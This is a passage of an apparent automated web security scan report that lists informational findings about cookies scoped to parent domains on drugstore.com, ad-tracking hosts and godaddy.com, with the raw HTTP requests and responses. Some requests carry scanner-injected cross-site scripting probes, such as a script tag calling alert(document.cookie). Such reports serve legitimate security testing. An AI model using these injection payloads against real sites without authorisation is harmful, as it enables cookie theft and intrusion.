Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

10.31. http://t.tellapart.com/hif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/hif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

tap=u55Faqj9eQjR2O84CPogQjfO0UMPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1qmAAsAAQAAAAI3NQoAAwAAATJzE1qmAAsAAQAAAAI3NAoAAwAAATJzE1qmAAsAAQAAAAMxMDUKAAMAAAEycxNapgAA; expires=Wed, 14-Mar-2012 16:30:40 GMT; Path=/; Domain=.tellapart.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167 HTTP/1.1
Host: t.tellapart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: drapt=ABJeb18jY0mSx9O1GhjWGagkBZ8cNX0k4oxPsv8LF9nJWKu12mbgkeBMt_o6CvAURFeGEBSF8UxpLeFjWV5Q2eOlAeV7yVQxxfhVQ6n7tXCCk-3AaAr-3DeDS9cBGOjMik-CONnHvyl4pD3SI4onQ1Vx5D2OKkZQcrsaYTa28GPXtJ-72-twAilquinwVbDX2VnkhBOx2C9B; __cmbGU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; AWSELB=E31F5987121C4E93C56CFAE300CB3FAA8458B8275ED54EFB1FBFC3259C68A4A477202DDBEDB9857088204A944F7B0E0B304C51662855C88DA4DD00256DCA9F810994CC9BEC

Response

10.32. http://t.tellapart.com/tpv previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/tpv

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

drapt=ABJeb1-OGLj4WPvpme0zBTQDHBR2ngUamtMs7GbygO59z7fXQOniCJ8DjeWZ8L9eYgAVK6hYK3p1tBNfX8Xmcx3xwQX_qgZHgGWzmqbFyg087KXDAfGZRSaIgDTBgVyOONjrkaJcuqQa2DYxgK6XBTR7LuHVTeCMVLKe36NAUdE36Dcb_E2NYoghvsg5T0ETAeX2LzcZMKlmy8WGiBSObQtOkAFDoGA3Tw; expires=Wed, 14-Mar-2012 16:32:47 GMT; Path=/; Domain=.tellapart.com
tap=f5bZJDN6To6TOJUrsLRvCLAoTUsPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1YSAAsAAQAAAAI3NQoAAwAAATJzE1YSAAsAAQAAAAI3NAoAAwAAATJzE1YSAAsAAQAAAAMxMDUKAAMAAAEycxNWEgAA; expires=Wed, 14-Mar-2012 16:32:47 GMT; Path=/; Domain=.tellapart.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tpv?aid=gMIVXPOjHwOK&xt=pv&xa=%7B%22PageType%22%3A%22Other%22%7D&ui=AE3CDAF6684448E8B02A74CB8F113324&r=1597292207&dmk=home&dmd=Shop%20for%20prescription%20drugs%2C%20health%20%26%20beauty%2C%20green%20%26%20natural%2C%20pet%20products%2C%20food%20%26%20gourmet%2C%20toys%20%26%20games%20and%20more%20at%20drugstore.com.&c=__cmbDomTm%3D0%3B__cmbU%3DABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg%3B__cmbTpvTm%3D1058&dt=drugstore.com%20Online%20Pharmacy%20-%20Prescription%20Drugs%2C%20Health%20and%20Beauty%2C%20plus%20more&dr=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&du=http%3A%2F%2Fwww.drugstore.com%2F%3Fec1bb%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E204f91ee9a2%3D1&v=4&sr=1920x1200&sc=16&bl=en-US HTTP/1.1
Host: t.tellapart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/?ec1bb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E204f91ee9a2=1
Cookie: drapt=ABJeb18jY0mSx9O1GhjWGagkBZ8cNX0k4oxPsv8LF9nJWKu12mbgkeBMt_o6CvAURFeGEBSF8UxpLeFjWV5Q2eOlAeV7yVQxxfhVQ6n7tXCCk-3AaAr-3DeDS9cBGOjMik-CONnHvyl4pD3SI4onQ1Vx5D2OKkZQcrsaYTa28GPXtJ-72-twAilquinwVbDX2VnkhBOx2C9B; __cmbGU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; AWSELB=E31F5987121C4E93C56CFAE300CB3FAA8458B8275ED54EFB1FBFC3259C68A4A477202DDBEDB9857088204A944F7B0E0B304C51662855C88DA4DD00256DCA9F810994CC9BEC; tap=f5bZJDN6To6TOJUrsLRvCLAoTUsPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1YSAAsAAQAAAAI3NQoAAwAAATJzE1YSAAsAAQAAAAI3NAoAAwAAATJzE1YSAAsAAQAAAAMxMDUKAAMAAAEycxNWEgAA; __cmbPI=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==; __cmbPD=99/74/75/105; __cmbTmf=2320

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, proxy-revalidate
Content-Type: text/javascript
Date: Fri, 16 Sep 2011 16:32:47 GMT
Expires: Thu, 01 Dec 1994 16:00:00 GMT
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: no-cache
Server: TAFE
Set-Cookie: drapt=ABJeb1-OGLj4WPvpme0zBTQDHBR2ngUamtMs7GbygO59z7fXQOniCJ8DjeWZ8L9eYgAVK6hYK3p1tBNfX8Xmcx3xwQX_qgZHgGWzmqbFyg087KXDAfGZRSaIgDTBgVyOONjrkaJcuqQa2DYxgK6XBTR7LuHVTeCMVLKe36NAUdE36Dcb_E2NYoghvsg5T0ETAeX2LzcZMKlmy8WGiBSObQtOkAFDoGA3Tw; expires=Wed, 14-Mar-2012 16:32:47 GMT; Path=/; Domain=.tellapart.com
Set-Cookie: tap=f5bZJDN6To6TOJUrsLRvCLAoTUsPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1YSAAsAAQAAAAI3NQoAAwAAATJzE1YSAAsAAQAAAAI3NAoAAwAAATJzE1YSAAsAAQAAAAMxMDUKAAMAAAEycxNWEgAA; expires=Wed, 14-Mar-2012 16:32:47 GMT; Path=/; Domain=.tellapart.com
Content-Length: 37
Connection: keep-alive

TellApartCrumb.__requestCallback({});

10.33. http://tags.bluekai.com/site/2731 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tags.bluekai.com
Path:	/site/2731

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bklc=4e7379ae; expires=Sun, 18-Sep-2011 16:30:38 GMT; path=/; domain=.bluekai.com
bk=eE0PtpKoj45Mq/0A; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com
bkc=KJh5NWN/PaWDOdedKd1C1IwAOhVosVVZYHVVO/Uibv/w9N2asJvZY8kJ/k5YWHHJJSn69xV80vV6YjxxMu9uePGZrYiZL9yZulJHiX3WgcwKpclKzh5FCCIzzII8cIKsyLescZeAzg5M9xiHMI8qz0/wZYI6TEdj85QjFpzXRdijTjyXbDIqo/40oPF2XJyE9HjI9EIzngzK2gW3SR8UpQGOWtN9yb1nMQXpB7FDXBjvbVneB4lu7HKkph7KPux5v8eZI7EfLmjGBgYSSIcb8Abl4FqFGeE7vbIL9XTZn5pS7dezqniJpk9l80rU6P5faHMx4eGLlVuRX8De5ebERH+dsrvKaNvVzaV8Bmzg4XQa5GjLlvt/rI4ng31pN1lh0QwAfiDnQbL5ECYFUJXl7wyZ4E2QYh4Tow6osU2ACpEwglrmh+d2gTwmbbUgp8784nez47AbZ/8UdEBNxdoyMpEdv6dEptQC6nCT7BRfFoz2RoMgDU81IVBMyvWgnKuVOnrbP8gMkVdulifEKi5vs2l8taI0oOlb5cmIXZ+4rC2rAIt1nfPJFp6QwVrTFPvSI6Dl2T+r7kXl2TF05ffqPcX0mN64tdzEyizi6M0KXgD9fDzpNS08lud53gAdCIfELGDlZFL1ONwuJRSlsKqhkEduTG/cQEwQ2SNlfE41XzG55wIZPiy1/jlwlob911zga2wfWut01w0yyUwW11zgqT7uK6n2Xv/tHFzfrRs2H/I9qG8Uf3U8X3ZdEMto5dwjAfEdrMkKIEZ5ClXSsYIFX2hU/Llh0+wAq/3FMLDXN6SAmP88AKRqoFKkJafMKR2CMk4IuIr4UfUy+VpBzlKAYXrkj6rkbbAd5wwT0QX08l4FURPehcdNKsP9; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com
bkou=KJhMRsOQRsq/pupQjE9N6e10NM1WRxmp5jUa4A9oOCSsp93LAQ9ge9F6; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /site/2731 HTTP/1.1
Host: tags.bluekai.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: bk=HjytoMKoj45Mq/0A; bkc=KJh5NWN/PaWDOdedKdBZhOZ7Duk/puQpJbcYAvOxcaNDEmYgYWwv5YWpuKx33WNHPYJvcNYxiNhvZ09J6xQi6SOkQG+iYLF9n1kanuGEZMg7p5p7wU4hjFMOd2pFK21kyc08eK5RgtLeuJw4s8Thd1hygWEb66qoTPnoeQKIRhaQXH4yyINNgqywN6+pUgZQWJMGOJ/wpfAOpBMLDzBqb3xgeEzmuw5zAe8MKsKa5vJ1ZLK7mT9NHTr9qnsaS8+bFwsp4TKArP885HNymZwC8+b6flqeqVW/zfN0eUNBkTaOpu4Y6ZtsrPT8uwLpsqqhJ870FqCQY54coqkKID1hLvwxholSknKdfsqSx2tzPhTA7NIt1JE+5ABT84ZLTzylbU+OVfQL/m6L0w0Cf5nzFIT8S7dUFtfSg8KKwI4fYXOY/SlP6baz7r4c7gGr44Y3BwXgE2wwSe7xr7uW8MrICdlR1/2cIHcPMT6OO0b5XrgjeUlu7aKIxVrfxFm53sfNdSP9t3PwB2zgFyfAfL1+LollhDfo+drAjyNlND7p45cB26Dl2bIqfTF05pfqBw81DV8Xf1OwYOIBucBf0kKY+Of+BsqBUR86CISOsJt7ax+FBwzqeiN/Ph7KSoMqPd8/AyF+O6bY8f4KLtmRXXg55wbZPi61/N4wloSs1mKPvI72iajRscZx2O6hpc7kpPabEIQIFsCv6w7mqs9F60mQZdwv45H4v5tFT62SFcgtJvtdqLTgwb42zvSOXUipfdT3SzTgE8mnvBIxuwCriACpU7ZJICrC2bD3NKCf+tcmvdIkIz27nU0+V4wzqK70rwHL+Uxnlxd5lnf0d4pIlUNUbhnhc8VkU4/=; bko=KJ0fnzg9Rnx0hTIHxRbwQKsMUbT4W61EOT0NAjmOyU1jucSc1/EaheYJeunnhEYHs0nspw9V3wK7j0ox7EWdMcD1ScvdJGCN9tiKS666AcVSiTsCPXDUjOLdMcVVsXqbJxJC1EczTRVJJxJjNlC9RgJ9mNbGtxO+ATu0sOA9pMT359==; bkp1=; bku=kQ199JnSvDfyUEoR; bkw5=KJ0PPWNgD6WDwS2M4JZ7S5BShWdLxoFsFJ/GUPEXSOGCY0tRk+qZPVAgdx6iQ39NYlc7ECKbzKaYWeKibWJxxxxCieIQSL6Erl1C5oUiFVIZpGxAoqfapee74ohp828lbHY9KO64SW+M1x1TzvVdaNi/AnD/0SYiA468TBW9UKtoR0Qm2s9o0TM6U+yaNQTpWr/pqHfZiyjj0iMWGb6q2TXRomReCUu/4WnxljIMQWOP1/m3Z1FhKZDVznwswTUH/K1dueRasKvEYlEitcCg4tPP+b0tSeVrf/FVo8haw3KN58CLXxrpeg9e3Km+/bScrVHCjBVn0tzDGI/BT1kJxiiUEXCOnJX0BUNn8bnVsLmpWDS3RZxl6147IYgTzp94XOggdkapzYrFbkBbhlzdX6j8/fnuaZs4smDHQ1fVgvR8NrRXbkSm2CP++alj6wj273r7Iibnhvi3ckFkY+hV/4GfQYxK7MPbAlEs+FDKWOq0MHawHHFWvyF8m3Rbioam4Oyp0nNp3k4Td4GhP0JZIFNLpQl5S4adGn68gGIaW7Kw2OyVaUVc2B8DQmkh73Txj5nuCK0W0U82Dicz/yJU92DM7srHAWJzPqWnNTndTlDpXQfhtIWJdeTaqBVXN9FqfvgihsNGwCUngyKN35qEDBczMaUfal8Xlii1RU7Svnpe8IlgDdYkqvSQVaqhA0kZFILiABeLUuZikEPLFC3tVkK0t+5k60AIULbRapAxzmfPuaLum0IxlfdvqExCpHV5eBE4kiw+ytZvNvcjv3rdHsf67y==; bkou=KJhMRsOQRsq/pupQjE9N6e10NM1WRx1pptD84A9oOCSsp9G10R2IrUT9/66nhy==; bkst=KJhBDn+vha9Dw1VYTvfrQoqSqKZal1K8ebNYrWPyWN5AWKp1iyPBRrWi+ZvfUbYkV+Cg8EK/kKJ4bO2TW8+1BzhyjoMEQf5PQOPRPs5P4PVaEI5hepbb6rzQz+vwApS9v03akYiGkkGMHpE4gElLQXBFUeoIbdQRH1bBW1GMwvKvSsDv/Mmkiv9mZ/AWEfwUzUwftmI6nP+oq5Y61zR2uuPeHsADHSlDp5qzt5FmlQHY6PeBw/b1Y3b6jfHTr9r5dfpKuUhoW2Ic9eLxIwq/fA2mJADTi6+iMb4UkloKa7PA5T+o4c9RnmGnsdZI7xP4fqY2Du434NXbS+38EsViKDRj3LH2C4/XFRzGdQ1J2Psc; __utma=252226138.2034852110.1313672419.1313672419.1313681721.2; __utmz=252226138.1313681721.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:30:38 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: bklc=4e7379ae; expires=Sun, 18-Sep-2011 16:30:38 GMT; path=/; domain=.bluekai.com
Set-Cookie: bk=eE0PtpKoj45Mq/0A; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkc=KJh5NWN/PaWDOdedKd1C1IwAOhVosVVZYHVVO/Uibv/w9N2asJvZY8kJ/k5YWHHJJSn69xV80vV6YjxxMu9uePGZrYiZL9yZulJHiX3WgcwKpclKzh5FCCIzzII8cIKsyLescZeAzg5M9xiHMI8qz0/wZYI6TEdj85QjFpzXRdijTjyXbDIqo/40oPF2XJyE9HjI9EIzngzK2gW3SR8UpQGOWtN9yb1nMQXpB7FDXBjvbVneB4lu7HKkph7KPux5v8eZI7EfLmjGBgYSSIcb8Abl4FqFGeE7vbIL9XTZn5pS7dezqniJpk9l80rU6P5faHMx4eGLlVuRX8De5ebERH+dsrvKaNvVzaV8Bmzg4XQa5GjLlvt/rI4ng31pN1lh0QwAfiDnQbL5ECYFUJXl7wyZ4E2QYh4Tow6osU2ACpEwglrmh+d2gTwmbbUgp8784nez47AbZ/8UdEBNxdoyMpEdv6dEptQC6nCT7BRfFoz2RoMgDU81IVBMyvWgnKuVOnrbP8gMkVdulifEKi5vs2l8taI0oOlb5cmIXZ+4rC2rAIt1nfPJFp6QwVrTFPvSI6Dl2T+r7kXl2TF05ffqPcX0mN64tdzEyizi6M0KXgD9fDzpNS08lud53gAdCIfELGDlZFL1ONwuJRSlsKqhkEduTG/cQEwQ2SNlfE41XzG55wIZPiy1/jlwlob911zga2wfWut01w0yyUwW11zgqT7uK6n2Xv/tHFzfrRs2H/I9qG8Uf3U8X3ZdEMto5dwjAfEdrMkKIEZ5ClXSsYIFX2hU/Llh0+wAq/3FMLDXN6SAmP88AKRqoFKkJafMKR2CMk4IuIr4UfUy+VpBzlKAYXrkj6rkbbAd5wwT0QX08l4FURPehcdNKsP9; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkou=KJhMRsOQRsq/pupQjE9N6e10NM1WRxmp5jUa4A9oOCSsp93LAQ9ge9F6; expires=Wed, 14-Mar-2012 16:30:38 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkdc=sf; expires=Sat, 17-Sep-2011 16:30:38 GMT; path=/; domain=.bluekai.com
P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml"
Expires: Sat, 17 Sep 2011 16:30:38 GMT
Cache-Control: max-age=86400, private
BK-Server: 497b
Content-Length: 62
Content-Type: image/gif

GIF89a.............!..NETSCAPE2.0.....!.. ....,...........L..;

10.34. http://www.drugstore.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:ndla3vftgeechv555qu43rz2; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.drugstore.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: STICKY=SEAWEB013P:7B1B08A6C5BF4A968C79C9BFB007FDD0:e5fygw55j4x2lwjzim2cqdi4

Response

10.35. http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/pharmacy/drugindex/rxsearch.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:yonvhm55shpcsh45w02oevnl; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pharmacy/drugindex/rxsearch.asp?search=ess HTTP/1.1
Host: www.drugstore.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:ssmstg55acliez55gebilj55; ASP.NET_SessionId=tujq4xeiqb4bta55tp0jzqna; drugstore%2Efish=UserID=57ABB42C1945443F8A38894F54FEB227; ABTests=07082011_tns_abtest=abtest_not_qualified@&20051228_entrypages=1@09/16/2011 9:30:24 AM&091211_GWP_YTC=1@09/16/2011 9:30:24 AM&040610_bizrate_beauty=1@09/16/2011 9:30:24 AM&030411_click2chat_dscm=1@09/16/2011 9:30:24 AM&110210_bizrate_VD=abtest_not_qualified@&20090319_ForeSee_Vision=abtest_not_qualified@&pdetails_ver2=1@09/16/2011 9:30:24 AM&20060410_bizrate=0@09/16/2011 9:30:24 AM&20070530_GoogleCheckout=1@09/16/2011 9:30:24 AM&aggregate_knowledge=1@09/16/2011 9:30:24 AM&ship_interrupt=2@09/16/2011 9:30:24 AM&05262011_ivd_ciba_25percent_off=abtest_not_qualified@; BIGipServerdscm_farm=2316609728.0.0000; s_sess=%20s_cc%3Dtrue%3B%20abtest%3DABTEST_20060410_bizrate%257C0%3B%20s_sq%3Ddrugstorecomglobalprod%253D%252526pid%25253Dotc%2525253Ahomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_search.gif%252526ot%25253DIMAGE%3B; s_vi=[CS]v1|2739BCD58514B3D4-4000018C2004D12D[CE]; _br_uid_1=uid%3D5299788113416%3A; __cmbDomTm=0; __cmbU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; __cmbTpvTm=1058

Response

10.36. http://www.drugstore.com/search/search_results.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/search/search_results.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:moymzk55ygfcmm45khc4ln45; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /search/search_results.asp?N=0&Ntx=mode%2Bmatchallpartial&Ntk=All&srchtree=1&Ntt=xss%5C&Go.x=0&Go.y=0 HTTP/1.1
Host: www.drugstore.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:jy0lemycstoxx3j2aggf0d55; ASP.NET_SessionId=tujq4xeiqb4bta55tp0jzqna; drugstore%2Efish=UserID=57ABB42C1945443F8A38894F54FEB227; ABTests=07082011_tns_abtest=abtest_not_qualified@&20051228_entrypages=1@09/16/2011 9:30:24 AM&091211_GWP_YTC=1@09/16/2011 9:30:24 AM&040610_bizrate_beauty=1@09/16/2011 9:30:24 AM&030411_click2chat_dscm=1@09/16/2011 9:30:24 AM&110210_bizrate_VD=abtest_not_qualified@&20090319_ForeSee_Vision=abtest_not_qualified@&pdetails_ver2=1@09/16/2011 9:30:24 AM&20060410_bizrate=0@09/16/2011 9:30:24 AM&20070530_GoogleCheckout=1@09/16/2011 9:30:24 AM&aggregate_knowledge=1@09/16/2011 9:30:24 AM&ship_interrupt=2@09/16/2011 9:30:24 AM&05262011_ivd_ciba_25percent_off=abtest_not_qualified@; BIGipServerdscm_farm=2316609728.0.0000; s_sess=%20s_cc%3Dtrue%3B%20abtest%3DABTEST_20060410_bizrate%257C0%3B%20s_sq%3Ddrugstorecomglobalprod%253D%252526pid%25253Dotc%2525253Ahomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//a216.g.akamai.net/f/216/580/1d/www.drugstore.com/img/sites/0/icon_search.gif%252526ot%25253DIMAGE%3B; s_vi=[CS]v1|2739BCD58514B3D4-4000018C2004D12D[CE]; _br_uid_1=uid%3D5299788113416%3A; __cmbDomTm=0; __cmbU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; __cmbTpvTm=1058

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 184
Content-Type: text/html; charset=utf-8
Expires: Thu, 15 Sep 2011 16:31:37 GMT
Location: http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp?search=ess
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:moymzk55ygfcmm45khc4ln45; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Date: Fri, 16 Sep 2011 16:31:37 GMT
Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:37 GMT; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp?search=ess">here</a>.</h2>
</body></html>

10.37. http://www.godaddy.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

preferences1=_sid=jcwejcfjxbngwdkfvgmjwimgygceujtc&gdshop_currencyType=USD&dataCenterCode=US; domain=godaddy.com; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:18 GMT; path=/
traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=19; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.godaddy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: preferences1=_sid=jcwejcfjxbngwdkfvgmjwimgygceujtc&gdshop_currencyType=USD&dataCenterCode=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:18 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: HPBackground=DanicaImageTwo; path=/
